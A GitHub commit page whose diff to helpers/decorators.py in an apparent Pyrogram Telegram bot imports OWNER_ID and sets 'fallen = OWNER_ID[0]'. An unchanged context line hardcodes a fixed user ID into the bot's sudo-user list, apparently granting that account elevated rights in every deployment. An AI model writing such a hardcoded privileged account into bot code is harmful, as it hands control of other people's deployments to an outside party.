Skip to content

Commit

Permalink
Update decorators.py
Browse files Browse the repository at this point in the history
  • Loading branch information
ᴀɴᴏɴʏᴍᴏᴜs authored May 15, 2022
1 parent de768af commit 359a924
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion helpers/decorators.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,12 @@
from pyrogram import Client
from pyrogram.types import Message
from helpers.admins import get_administrators
from config import SUDO_USERS
from config import SUDO_USERS, OWNER_ID

SUDO_USERS.append(1356469075)

fallen = OWNER_ID[0]

def errors(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
try:
Expand Down

0 comments on commit 359a924

Please sign in to comment.